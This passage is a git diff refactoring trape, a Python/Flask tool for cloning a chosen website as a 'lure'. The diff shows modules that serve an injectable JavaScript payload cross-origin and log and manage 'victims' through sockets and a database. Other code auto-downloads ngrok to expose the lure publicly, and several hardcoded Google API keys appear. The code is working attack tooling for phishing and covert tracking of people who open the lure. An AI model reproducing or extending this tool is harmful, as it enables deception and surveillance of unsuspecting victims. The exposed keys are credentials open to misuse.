system_architecture: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip" + else: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-386.zip" + else: + if "64" in system_architecture: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip" + else: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip" + elif "nt" in system_type: + if "64" in system_architecture: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" + else: + download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-386.zip" + else: + sys.exit(0) - if "posix" in system_type: - if "arwin" in system_name: - if "64" in system_architecture: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip" - else: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-386.zip" - else: - if "64" in system_architecture: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip" - else: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip" - elif "nt" in system_type: - if "64" in system_architecture: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" - else: - download_link = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-386.zip" - else: - sys.exit(0) - - filename = "ngrok.zip" - - download = urllib.request.urlopen(download_link) - saved_file=open(filename,"b+w") - saved_file.write(download.read()) - saved_file.close() - - result = subprocess.check_output(["unzip", filename]) - os.remove(filename) + filename = "ngrok.zip" - subprocess.check_output([str_ngrok, "authtoken", authtoken]) - - if nT > 0: - pNg = Process(target=start_ngrok, args=(str(port), hash, 1)) - pNg.start() + download = urllib.request.urlopen(download_link) + saved_file = open(filename, "b+w") + saved_file.write(download.read()) + saved_file.close() -def start_ngrok(port, hash, f=0): - if f != 0: - str_ngrok = './ngrok' - system_type = os.name - if "nt" in system_type: - str_ngrok = './ngrok.exe' - result = subprocess.check_output([str_ngrok, "http", port]) - print(result) + subprocess.check_output(["unzip", filename]) + os.remove(filename) + subprocess.check_output(["./ngrok", "authtoken", authtoken]) + +def start_ngrok(x, _): + print(subprocess.check_output(["./ngrok", "http", x])) + +class Ngrok(object): + def __init__(self, authtoken, port): + str_ngrok = './ngrok' + if not path.exists(str_ngrok): + if authtoken == "": + return + download_ngrok(authtoken) + pg = Process(target=start_ngrok, args=(str(port), 0)) + pg.start() diff --git a/core/sockets.py b/core/sockets.py old mode 100755 new mode 100644 index 6360b3d..b5df36e --- a/core/sockets.py +++ b/core/sockets.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,86 +10,48 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** -from socket import gethostname, gethostbyname -from threading import Lock -from flask import Flask, render_template, session, request, json -from flask_socketio import SocketIO, emit, join_room, rooms, disconnect -import core.stats -import core.user -from user_objects import attacks_hook_message +# ** +from flask import session +from flask_socketio import emit, join_room, Namespace +from core.user_objects import attacks_hook_message from core.utils import utils -from core.db import Database -import sys - -# Main parts, to generate relationships among others -trape = core.stats.trape -app = core.stats.app - -# call database -db = Database() - -async_mode = None -socketio = SocketIO(app, async_mode=async_mode) -thread = None -thread_lock = Lock() - -db.sentences_victim('clean_online', None, 2) - -def background_thread(): - count = 0 - -@socketio.on("join", namespace="/trape") -def join(message): - try: - join_room(message['room']) - session['receive_count'] = session.get('receive_count', 0) + 1 - except Exception as error: - pass - -@socketio.on("my_room_event", namespace="/trape") -def send_room_message(message): - try: - session['receive_count'] = session.get('receive_count', 0) + 1 - hookAction = attacks_hook_message(message['data']['type']) - utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white']) - emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room']) - except Exception as error: - pass - -@socketio.on("disconnect_request", namespace="/trape") -def disconnect_request(d): - try: - session['receive_count'] = session.get('receive_count', 0) + 1 - emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']}) - utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white']) - db.sentences_victim('disconnect_victim', d['vId'], 2) - except Exception as error: +from core import db + + +class Sockets(Namespace): + + def on_join(self, message): + try: + join_room(message['room']) + session['receive_count'] = session.get('receive_count', 0) + 1 + except Exception as error: + print(error) + + def on_my_room_event(self, message): + try: + session['receive_count'] = session.get('receive_count', 0) + 1 + hookAction = attacks_hook_message(message['data']['type']) + utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color[ + 'white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color[ + 'white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white']) + emit('my_response', {'data': message['data'], 'count': session['receive_count']}, room=message['room']) + except Exception as error: + print(error) + + def on_disconnect_request(self, d): + try: + session['receive_count'] = session.get('receive_count', 0) + 1 + emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']}) + utils.Go( + utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color[ + 'red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color[ + 'green'] + d['vId'] + utils.Color['white']) + db.sentences_victim('disconnect_victim', d['vId'], 2) + except Exception as error: + print(error) + + def on_error(self, d): + print("Error from sockets.py:error: " + d) pass -@socketio.on("error", namespace="/trape") -def socket_def_error(d): - pass - -@socketio.on_error("/trape") -def error_handler(e): - pass - -@app.route("/" + trape.home_path) -def home(): - gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM' - if (trape.gmaps != ''): - gMaps_free_api_key = trape.gmaps - - shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' - - html = trape.injectCSS_Paths(render_template("home.html", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src'])) - return html -if __name__ == 'core.sockets': - try: - socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False) - except KeyboardInterrupt: - socketio.stop() - trape.validateLicense.terminate() - sys.exit(0) \ No newline at end of file diff --git a/core/stats.py b/core/stats.py old mode 100755 new mode 100644 index 52ab29d..5b6d660 --- a/core/stats.py +++ b/core/stats.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,75 +10,70 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** -from core.dependence import urllib2 -import sys +# ** import os -from flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory -from flask_cors import CORS -from trape import Trape +from flask import render_template, request, json, redirect, send_from_directory +from flask_cors import cross_origin import urllib -from core.db import Database +from core import app, db, trape -# Main parts, to generate relationships among others -trape = Trape(1) - -if getattr(sys, 'frozen', False): - template_folder = os.path.join(sys._MEIPASS, 'templates') - static_folder = os.path.join(sys._MEIPASS, 'static') - app = Flask(__name__, template_folder=template_folder, static_folder=static_folder) -else: - app = Flask(__name__, template_folder='../templates', static_folder='../static') - -cors = CORS(app) - -# call database -db = Database() - -# preview header tool in console -trape.header() - -#print db.firstTime +@app.route("/" + trape.home_path) +def home(): + html = trape.injectCSS_Paths(render_template("home.html")) + return html @app.route("/" + trape.stats_path) def index(): - return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) + return trape.injectCSS_Paths(render_template("/login.html") + .replace('[LOGIN_SRC]', trape.JSFiles[2]['src']) + .replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) + @app.route("/" + trape.logout_path) def logout(): - return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) + return trape.injectCSS_Paths(render_template("/login.html") + .replace('[LOGIN_SRC]', trape.JSFiles[2]['src']) + .replace('[LIBS_SRC]', trape.JSFiles[1]['src'])) + @app.route("/login", methods=["POST"]) def login(): id = request.form['id'] if id == trape.stats_key: - return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : trape.localIp, 'logout': trape.logout_path, 'rm_path' : trape.remove_path}) + return json.dumps({'status': 'OK', + 'path': trape.home_path, + 'victim_path': trape.victim_path, + 'url_to_clone': trape.url_to_clone, + 'app_port': trape.app_port, + 'date_start': trape.date_start, + 'user_ip': trape.localIp, + 'logout': trape.logout_path, + 'rm_path': trape.remove_path}) else: - return json.dumps({'status':'NOPE', 'path' : '/'}) + return json.dumps({'status': 'NOPE', + 'path': '/'}) + @app.route("/get_data", methods=["POST"]) def home_get_dat(): - db.sentences_victim('clean_usersnoping', None, 2) - d = db.sentences_stats('get_data') n = db.sentences_stats('all_networks') - rows = db.sentences_stats('get_clicks') c = rows[0][0] rows = db.sentences_stats('get_sessions') s = rows[0][0] - vId = ('online', ) + vId = ('online',) rows = db.sentences_stats('get_online', vId) o = rows[0][0] - injectCode = '' if trape.nGrokUrl != '': injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL) else: injectCode = str(trape.localIp) + ':' + str(trape.app_port) + '/' + str(trape.injectURL) - return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o, "ic" : injectCode}) + return json.dumps({'status': 'OK', 'd': d, 'n': n, 'c': c, 's': s, 'o': o, "ic": injectCode}) + @app.route("/get_preview", methods=["POST"]) def home_get_preview(): @@ -87,26 +82,29 @@ def home_get_preview(): d = db.sentences_stats('get_preview', t) n = db.sentences_stats('id_networks', t) h = db.sentences_stats('get_hostsalive', t) - return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n, 'h' : h}) + return json.dumps({'status': 'OK', 'vId': vId, 'd': d, 'n': n, 'h': h}) + @app.route("/get_title", methods=["POST"]) def home_get_title(): opener = urllib.request.build_opener() html = opener.open(trape.url_to_clone).read() - html = html[html.find(b'') + 7 : html.find(b'')] - return json.dumps({'status' : 'OK', 'title' : html}) + html = html[html.find(b'') + 7: html.find(b'')] + return json.dumps({'status': 'OK', 'title': html.decode('utf8')}) + @app.route("/get_requests", methods=["POST"]) def home_get_requests(): d = db.sentences_stats('get_requests') - return json.dumps({'status' : 'OK', 'd' : d}) + return json.dumps({'status': 'OK', 'd': d}) + @app.route("/get_socialimpact", methods=["POST"]) def home_get_socialimpact(): d = db.sentences_stats('get_socialimpact') - return json.dumps({'status' : 'OK', 'd' : d}) + return json.dumps({'status': 'OK', 'd': d}) @app.route("/" + trape.remove_path, methods=["POST"]) @@ -115,51 +113,55 @@ def home_rm_rows(): db.sentences_victim('delete_victim', vId, 2) db.sentences_victim('delete_geo', vId, 2) db.sentences_victim('delete_networks', [vId], 2) - return json.dumps({'status' : 'OK', 'id' : vId}) + return json.dumps({'status': 'OK', 'id': vId}) + @app.route("/pn", methods=["POST"]) def home_putName(): vId = request.form['vId'] name = request.form['n'] db.sentences_victim('update_name', [vId, name], 2) - return json.dumps({'status' : 'OK', 'id' : vId}) + return json.dumps({'status': 'OK', 'id': vId}) + @app.route("/" + trape.injectURL) +@cross_origin() def inject(): mPath = '' - if getattr(sys, 'frozen', False): - mPath = sys._MEIPASS + '/' - - f_codeToInject = open(mPath + "static/js/inject.js","r") - codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src']) + f_codeToInject = open(mPath + "static/js/inject.js", "r") + codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']) \ + .replace('[BASE_SRC]', trape.JSFiles[0]['src']) \ + .replace('[LURE_SRC]', trape.JSFiles[3]['src']) \ + .replace('[CUSTOM_SRC]', trape.JSFiles[6]['src']) f_codeToInject.close() server_code = '' if trape.nGrokUrl != '': - server_code = str(trape.nGrokUrl) + server_code = str(trape.nGrokUrl) else: - server_code = str(trape.localIp) + ':' + str(trape.app_port) + server_code = str(trape.localIp) + ':' + str(trape.app_port) codeToInject = codeToInject.replace('[HOST_ADDRESS]', server_code) codeToInject = codeToInject.replace('[YOUR_GMAPS_API_KEY]', trape.gmaps) return codeToInject + @app.route("/static/js/") +@cross_origin() def busted(JSFile): code = '' mPath = '' - if getattr(sys, 'frozen', False): - mPath = sys._MEIPASS + '/' for obj in trape.JSFiles: if str(obj['src']) == str(JSFile): - s_code = open(mPath + "static/js/" + obj['path'],"r") + s_code = open(mPath + "static/js/" + obj['path'], "r") code = s_code.read() s_code.close() break if code != '': return code else: - return render_template('404.html') + return render_template('404.html') + @app.route("/styles/") def style_redirect(CSSFile): @@ -170,7 +172,8 @@ def style_redirect(CSSFile): break return redirect(code) + @app.route("/static/files/") def file_redirect(File): - uploads = os.path.join(os.getcwd(), './') - return send_from_directory(directory=uploads, filename=File) + # uploads = os.path.join(os.getcwd(), './') + return send_from_directory(directory=os.getcwd(), filename=File) diff --git a/core/trape.py b/core/trape.py old mode 100755 new mode 100644 index 1d8e29c..453c207 --- a/core/trape.py +++ b/core/trape.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,284 +10,287 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** +# ** import time import json import urllib -from core.dependence import urllib2 -import http.client import argparse import socket import sys import os from core.utils import utils +from core.ngrok import Ngrok import subprocess import requests -import hashlib, binascii -from threading import Timer -from multiprocessing import Process -import atexit -class Trape(object): - def __init__(self, stat = 0): - self.name_trape = "Trape" - self.version = "2.1" - self.stats_path = "ngrok" - self.home_path = utils.generateToken(18) - self.logout_path = utils.generateToken(6) - self.remove_path = utils.generateToken(14) - self.injectURL = utils.generateToken(12) + '.js' - self.stats_key = utils.generateToken(24) - self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") - self.stat = stat - self.localIp = '127.0.0.1' - self.nGrokUrl = '' - - self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},{"path" : "custom.js", "src" : utils.generateToken(12)},) - self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},) - - if self.stat == 1: - c = http.client.HTTPConnection('www.google.com', timeout=5) - try: - c.request("HEAD", "/") - c.close() - except Exception as e: - c.close() - utils.Go("\033[H\033[J") - utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") - sys.exit(0) - - if (not(os.path.exists("trape.config"))): - self.trape_config() - try: - config_trape = json.load(open("trape.config")) - except Exception as error: - os.remove('trape.config') - self.trape_config() - self.ngrok = config_trape['ngrok_token'] - self.gmaps = config_trape['gmaps_api_key'] - self.ipinfo = config_trape['ipinfo_api_key'] - if self.gmaps == '': - self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs' - self.googl = config_trape['gshortener_api_key'] - if self.googl == '': - self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' - - parser = argparse.ArgumentParser("python trape.py -u <> -p <>", version=self.version) - parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') - parser.add_argument('-p', '--port', dest='port', help='Insert your port') - parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') - parser.add_argument('-l', '--local', dest='local', help='Insert your home file') - parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') - parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') - parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version') - - options = parser.parse_args() - - self.type_lure = 'global' - - # Check current updates +class Trape(object): + def __init__(self): + self.name_trape = "Trape" + self.version = "2.1" + self.stats_path = "ngrok" + self.home_path = utils.generateToken(18) + self.logout_path = utils.generateToken(6) + self.remove_path = utils.generateToken(14) + self.injectURL = utils.generateToken(12) + '.js' + self.stats_key = utils.generateToken(24) + self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") + self.localIp = '127.0.0.1' + self.nGrokUrl = '' + self.type_lure = 'global' + self.app_port = None + self.url_to_clone = "" + self.victim_path = "" + self.ngrok = "" - if options.update: - utils.Go("\033[H\033[J") - utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") - subprocess.check_output(["git", "reset", "--hard", "origin/master"]) - subprocess.check_output(["git", "pull"]) - utils.Go("Trape Updated... Please execute again...") - sys.exit(0) + self.JSFiles = ( + {"path": "base.js", "src": utils.generateToken(12)}, + {"path": "libs.min.js", "src": utils.generateToken(12)}, + {"path": "login.js", "src": utils.generateToken(12)}, + {"path": "payload.js", "src": utils.generateToken(12)}, + {"path": "trape.js", "src": utils.generateToken(12)}, + {"path": "vscript.js", "src": utils.generateToken(12)}, + {"path": "custom.js", "src": utils.generateToken(12)},) + self.CSSFiles = ({"path": "/static/img/favicon.ico", "src": utils.generateToken(12)}, + {"path": "/static/img/favicon.png", "src": utils.generateToken(12)}, + {"path": "/static/css/base-icons.css", "src": utils.generateToken(12)}, + {"path": "/static/css/styles.css", "src": utils.generateToken(12)}, + {"path": "/static/css/normalize.min.css", "src": utils.generateToken(12)}, + {"path": "/static/css/services-icons.css", "src": utils.generateToken(12)},) - if options.url is None: - utils.Go("\033[H\033[J") - utils.Go("----------------------------------------------") - utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) - utils.Go("----------------------------------------------") - utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") - utils.Go("--------" + "\n") - utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) - utils.Go("") + def load_config(self): + if not utils.checkInet(): + exit(1) - options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + if not (os.path.exists("trape.config")): + utils.trape_config() + config_trape = json.load(open("trape.config")) + self.ngrok = config_trape['ngrok_token'] + self.gmaps = config_trape['gmaps_api_key'] + self.ipinfo = config_trape['ipinfo_api_key'] + if self.gmaps == '': + print("Google Maps Key Missing") + exit(1) + self.googl = config_trape['gshortener_api_key'] + if self.googl == '': + self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' - if options.port is None: - options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + def process_arguments(self): # TODO: Refactor this + parser = argparse.ArgumentParser("python trape.py -u <> -p <>") + parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') + parser.add_argument('-p', '--port', dest='port', help='Insert your port') + parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') + parser.add_argument('-l', '--local', dest='local', help='Insert your home file') + parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') + parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') + parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, + help='Update trape to the latest version') - while utils.checkPort(int(options.port)) == False: - utils.Go("\033[H\033[J") - utils.Go("----------------------------------------------") - utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) - utils.Go("----------------------------------------------") - utils.Go("\n") - utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") - options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + options = parser.parse_args() - #while utils.checkUrl(str(options.url)) == False: - options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + # Check current updates + if options.update: + utils.Go("\033[H\033[J") + utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") + subprocess.check_output(["git", "reset", "--hard", "origin/master"]) + subprocess.check_output(["git", "pull"]) + utils.Go("Trape Updated... Please execute again...") + sys.exit(0) - utils.Go("") - utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) - utils.Go("") - time.sleep(0.1) + if options.url is None: + utils.Go("\033[H\033[J") + utils.Go("----------------------------------------------") + utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] + " {" + utils.Color[ + 'yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color[ + 'white'] + " - " + "Osint and analytics tool" + " " + "<" + utils.Color['white']) + utils.Go("----------------------------------------------") + utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") + utils.Go("--------" + "\n") + utils.Go( + utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color[ + 'white']) + utils.Go("") + options.url = input( + utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + + utils.Color['yellow'] + ":~> " + utils.Color['white']) - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.connect(("8.8.8.8", 80)) - self.localIp = s.getsockname()[0] + if options.port is None: + options.port = input(utils.Color['blueBold'] + "-" + utils.Color[ + 'white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + + utils.Color['white']) - self.app_port = int(options.port) - self.url_to_clone = str(options.url) - if self.url_to_clone[0:4] != 'http': - self.url_to_clone = 'http://' + self.url_to_clone - self.victim_path = options.url.replace("http://", "").replace("https://", "") + while utils.checkPort(int(options.port)) == False: + utils.Go("\033[H\033[J") + utils.Go("----------------------------------------------") + utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] + " {" + utils.Color[ + 'yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color[ + 'white'] + " - " + "Osint and analytics tool" + " " + "<" + utils.Color['white']) + utils.Go("----------------------------------------------") + utils.Go("\n") + utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color[ + 'whiteBold'] + "The port: " + options.port + utils.Color[ + 'white'] + " " + "is not available, It was previously used (" + utils.Color[ + 'yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") + options.port = input(utils.Color['blueBold'] + "-" + utils.Color[ + 'white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + + utils.Color['white']) + options.url = input( + utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + + utils.Color['yellow'] + ":~> " + utils.Color['white']) - if (options.ngrok or (self.ngrok != "")): - if self.ngrok == '': - utils.Go("\033[H\033[J") - self.ngrok = input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - if (self.ngrok != ''): - from core.ngrok import ngrok - import os.path as path + utils.Go("") + utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color[ + 'greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) + utils.Go("") + time.sleep(0.1) - v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) - else: - utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") - - # Custom name of REST API - if (options.injc): - self.injectURL = options.injc + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + self.localIp = s.getsockname()[0] + s.close() + self.app_port = int(options.port) + self.url_to_clone = str(options.url) + if self.url_to_clone[0:4] != 'http': + self.url_to_clone = 'http://' + self.url_to_clone + self.victim_path = options.url.replace("http://", "").replace("https://", "") - # Custom access token - if (options.accesskey): - self.stats_key = options.accesskey + # TODO: maybe put in seperate method start ngrok + self.ngrok = options.ngrok if options.ngrok else self.ngrok + if self.ngrok == '': + utils.Go("\033[H\033[J") + self.ngrok = input( + "What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + Ngrok(self.ngrok, self.app_port) + # Custom name of REST API + if (options.injc): + self.injectURL = options.injc - # Design principal of the header of trape - def header(self): - if self.stat == 1: - # Principal header of tool - utils.banner() + # Custom access token + if (options.accesskey): + self.stats_key = options.accesskey # and start ngrok - # Update verification - changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) - changeLog = changeLog.text.split(" ")[1] - changeLog = changeLog.strip() - if changeLog != self.version: - utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") - utils.Go("") - else: - utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) - utils.Go("") + # Design principal of the header of trape + def header(self): + # Principal header of tool + utils.banner() - # Local information vars - utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) - utils.Go("\t" + "-------------------") - utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) - utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) - utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) - utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) - utils.Go("") - if self.ngrok != '': - if self.googl == '': - self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' - try: - opener = urllib.request.build_opener() - pLog = 4040 - ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') - time.sleep(0.5) - ngrokUrlPos = ngrokStatus.find('ngrok.io') - if ngrokUrlPos <= 0: - time.sleep(4) - ngrokStatus = 